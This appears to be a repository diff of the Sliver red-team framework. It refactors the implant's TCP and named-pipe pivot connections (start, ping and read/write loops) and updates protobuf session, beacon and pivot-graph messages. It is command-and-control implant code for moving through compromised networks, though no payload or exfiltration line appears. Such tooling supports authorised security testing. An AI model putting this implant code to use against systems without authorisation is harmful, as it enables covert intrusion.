connection, err = namedPipeConnect(uri)
|
||||
if err == nil {
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Connection failed %s", err)
|
||||
// {{end}}
|
||||
@@ -717,7 +717,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] lost connection, cleanup...")
|
||||
log.Printf("[tcp pivot] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
pingCtrl <- struct{}{}
|
||||
close(send)
|
||||
@@ -728,7 +728,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
connection.Stop = func() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] Stop()")
|
||||
log.Printf("[tcp pivot] Stop()")
|
||||
// {{end}}
|
||||
connection.Cleanup()
|
||||
return nil
|
||||
@@ -762,7 +762,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] server ping...")
|
||||
log.Printf("[tcp pivot] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
@@ -781,7 +781,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
}()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
|
||||
log.Printf("[tcp pivot] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
pivot.WriteEnvelope(envelope)
|
||||
}
|
||||
@@ -796,26 +796,26 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] read envelope error: %s", err)
|
||||
log.Printf("[tcp pivot] read envelope error: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] read nil envelope")
|
||||
log.Printf("[tcp pivot] read nil envelope")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope.Type == pb.MsgPivotPeerPing {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] received peer pong")
|
||||
log.Printf("[tcp pivot] received peer pong")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] Receive loop envelope type %d\n", envelope.Type)
|
||||
log.Printf("[tcp pivot] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"io"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -33,17 +34,14 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
opts := &pivotclients.NamedPipePivotOptions{}
|
||||
client, err := pivotclients.NamedPipePivotStartSession(uri, opts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan struct{}, 1)
|
||||
pingCtrl := make(chan struct{}, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
@@ -64,37 +62,94 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
connection.Stop = func() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[named-pipe] Stop()")
|
||||
log.Printf("[namedpipe] Stop()")
|
||||
// {{end}}
|
||||
connection.Cleanup()
|
||||
return nil
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
client.WriteEnvelope(envelope)
|
||||
connection.Start = func() error {
|
||||
opts := pivotclients.ParseNamedPipePivotOptions(uri)
|
||||
pivot, err := pivotclients.NamedPipePivotStartSession(uri, opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-pingCtrl:
|
||||
return
|
||||
case <-time.After(time.Minute):
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: data,
|
||||
}
|
||||
case <-time.After(time.Minute):
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] server ping...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPing{
|
||||
Nonce: uint32(time.Now().UnixNano()),
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotServerPing,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := client.ReadEnvelope()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
go func() {
|
||||
defer func() {
|
||||
connection.Cleanup()
|
||||
}()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
pivot.WriteEnvelope(envelope)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := pivot.ReadEnvelope()
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] read envelope error: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope == nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] read nil envelope")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if envelope.Type == pb.MsgPivotPeerPing {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] received peer pong")
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +build windows
|
||||
//go:build windows
|
||||
|
||||
// Copyright (C) 2018, Rapid7 LLC, Boston, MA, USA.
|
||||
// All rights reserved. This material contains unpublished, copyrighted
|
||||
|
||||
+960
-776
File diff suppressed because it is too large.
Load diff
@@ -21,7 +21,7 @@ message Version {
|
||||
|
||||
// [ Core ] ----------------------------------------
|
||||
message Session {
|
||||
uint32 ID = 1;
|
||||
string ID = 1;
|
||||
string Name = 2;
|
||||
string Hostname = 3;
|
||||
string UUID = 4;
|
||||
@@ -44,6 +44,7 @@ message Session {
|
||||
bool Burned = 22;
|
||||
repeated string Extensions = 23;
|
||||
// string ConfigID = 24;
|
||||
int64 PeerID = 25;
|
||||
}
|
||||
|
||||
message Beacon {
|
||||
@@ -67,13 +68,14 @@ message Beacon {
|
||||
bool IsDead = 18;
|
||||
|
||||
string ProxyURL = 20;
|
||||
int64 Interval = 21;
|
||||
int64 Jitter = 22;
|
||||
bool Burned = 23;
|
||||
int64 NextCheckin = 24;
|
||||
int64 ReconnectInterval = 21;
|
||||
int64 Interval = 22;
|
||||
int64 Jitter = 23;
|
||||
bool Burned = 24;
|
||||
int64 NextCheckin = 25;
|
||||
|
||||
int64 TasksCount = 25;
|
||||
int64 TasksCountCompleted = 26;
|
||||
int64 TasksCount = 26;
|
||||
int64 TasksCountCompleted = 27;
|
||||
}
|
||||
|
||||
message Beacons {
|
||||
@@ -337,7 +339,7 @@ message Sessions {
|
||||
}
|
||||
|
||||
message UpdateSession {
|
||||
uint32 SessionID = 1;
|
||||
string SessionID = 1;
|
||||
string Name = 2;
|
||||
int64 ReconnectInterval = 3;
|
||||
int64 PollInterval = 4;
|
||||
@@ -453,6 +455,18 @@ message CloseTunnelReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
// [ Pivots ] ----------------------------------------
|
||||
message PivotGraphEntry {
|
||||
int64 PeerID = 1;
|
||||
Session Session = 2;
|
||||
string Name = 3;
|
||||
repeated PivotGraphEntry Children = 4;
|
||||
}
|
||||
|
||||
message PivotGraph {
|
||||
repeated PivotGraphEntry Children = 1;
|
||||
}
|
||||
|
||||
// [ Events ] ----------------------------------------
|
||||
message Client {
|
||||
uint32 ID = 1;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.17.3
|
||||
// protoc v3.19.2
|
||||
// source: commonpb/common.proto
|
||||
|
||||
package commonpb
|
||||
@@ -67,7 +67,7 @@ type Request struct {
|
||||
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
|
||||
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
|
||||
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
|
||||
SessionID uint32 `protobuf:"varint,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
|
||||
}
|
||||
|
||||
func (x *Request) Reset() {
|
||||
@@ -123,11 +123,11 @@ func (x *Request) GetBeaconID() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *Request) GetSessionID() uint32 {
|
||||
func (x *Request) GetSessionID() string {
|
||||
if x != nil {
|
||||
return x.SessionID
|
||||
}
|
||||
return 0
|
||||
return ""
|
||||
}
|
||||
|
||||
// Response - Common fields used in all gRPC responses. Note that the Err field
|
||||
@@ -416,7 +416,7 @@ var file_commonpb_common_proto_rawDesc = []byte{
|
||||
0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
|
||||
0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
|
||||
0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09,
|
||||
0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
|
||||
0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45,
|
||||
0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a,
|
||||
0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73,
|
||||
|
||||
Loaded 100 of 141 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user